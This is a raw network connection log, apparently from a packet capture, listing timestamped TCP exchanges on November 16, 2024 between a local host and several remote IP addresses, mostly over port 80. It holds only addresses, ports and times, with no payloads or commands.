Nov 16, 2024 19:22:31.019300938 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019334078 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019346952 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019380093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019412041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019444942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019459009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019485950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019494057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019526958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019560099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019587994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019603014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019630909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019639969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019674063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019705057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019718885 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019738913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019752979 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019788027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019819975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019840956 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019867897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019900084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019912958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019932032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019942045 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019967079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019999027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020032883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020047903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020071030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020081043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020112991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020144939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020159006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020180941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020211935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020246029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020255089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020277977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020309925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020337105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020354986 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020370960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020404100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020412922 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020436049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020454884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020468950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020474911 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020500898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020533085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020544052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020565033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020572901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020598888 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020605087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020632982 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020652056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020664930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020698071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020716906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020730019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020741940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020762920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020767927 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020842075 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020879030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020896912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020910978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020920992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020941973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020950079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.020977020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.020994902 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.021004915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.021035910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.021045923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.021070004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.021111012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.028179884 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:31.028203011 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:31.028362036 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:31.028362036 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:31.028371096 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:31.028669119 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:31.097984076 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:31.098059893 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:31.098076105 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:31.098109007 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:31.098527908 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:31.098527908 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:31.098540068 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:31.099112988 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:31.177464962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177501917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177525043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.177551031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177587032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177603006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.177633047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.177634954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177685022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177719116 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177759886 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.177768946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177803040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177855968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177890062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177912951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.177922964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177933931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.177956104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.177968025 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.177989006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178002119 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178023100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178055048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178070068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178086996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178092957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178119898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178139925 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178165913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178180933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178199053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178206921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178232908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178267002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178298950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178313017 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178313017 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178330898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178385973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178389072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178433895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178462029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178466082 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178482056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178498030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178503990 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178529978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178575039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178580046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178612947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178628922 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178647041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178669930 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.178678989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178690910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178729057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178757906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178761005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178792953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178802967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178826094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178828001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178873062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178905964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178937912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178947926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.178970098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.178977013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179018974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179033041 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:31.179049969 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.179050922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179061890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179084063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179085970 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179121017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179152012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179173946 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179183960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179207087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179215908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179218054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179249048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179280996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179326057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179331064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179366112 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179398060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179425955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179444075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179457903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179466009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179490089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179495096 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179522038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179539919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179553986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179585934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179617882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179629087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179651022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179657936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179682970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179714918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179738998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179747105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179760933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179780006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179790974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179811954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179846048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179867029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179877996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179894924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179909945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179913998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.179941893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179974079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.179989100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180006981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180011988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180038929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180052042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180072069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180088043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180104017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180135965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180160999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180160999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180167913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180201054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180212021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180227995 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.180234909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180237055 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180269957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180274010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180305958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180310011 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180337906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180347919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180370092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180382967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180418968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180450916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180464029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180485010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180490017 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180519104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180550098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180562973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180586100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180618048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180628061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180649996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180664062 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180682898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180717945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180751085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180762053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180782080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180784941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180813074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180845022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180883884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180896044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180917025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180921078 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.180949926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180982113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.180993080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181016922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181022882 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181049109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181082964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181113958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181126118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181147099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181155920 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181179047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181210995 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181221008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181245089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181267023 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181277037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181293964 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181309938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181341887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181358099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181374073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181379080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181406021 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181421041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181437969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181473970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181505919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181518078 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181538105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181540012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181571007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181583881 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:31.181593895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181602955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181615114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181636095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181667089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181667089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181687117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181699038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181710958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181731939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181763887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181782007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181796074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181796074 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.181806087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181829929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.181854963 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.181874037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.182046890 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:31.212053061 CET	49850	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:31.212107897 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:31.212318897 CET	49850	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:31.212539911 CET	49850	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:31.212569952 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:31.223349094 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:31.262231112 CET	49851	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.262288094 CET	443	49851	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.262372971 CET	49851	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.262866020 CET	49851	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.262882948 CET	443	49851	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.263279915 CET	49852	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.263323069 CET	443	49852	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.263385057 CET	49852	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.264142990 CET	49852	443	192.168.2.5	23.198.7.171
Nov 16, 2024 19:22:31.264158964 CET	443	49852	23.198.7.171	192.168.2.5
Nov 16, 2024 19:22:31.265521049 CET	49853	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:31.265610933 CET	443	49853	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:31.265707016 CET	49853	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:31.265868902 CET	49854	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:31.265899897 CET	443	49854	204.79.197.219	192.168.2.5
Nov 16, 2024 19:22:31.266091108 CET	49853	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:31.266130924 CET	443	49853	204.79.197.219	192.168.2.5
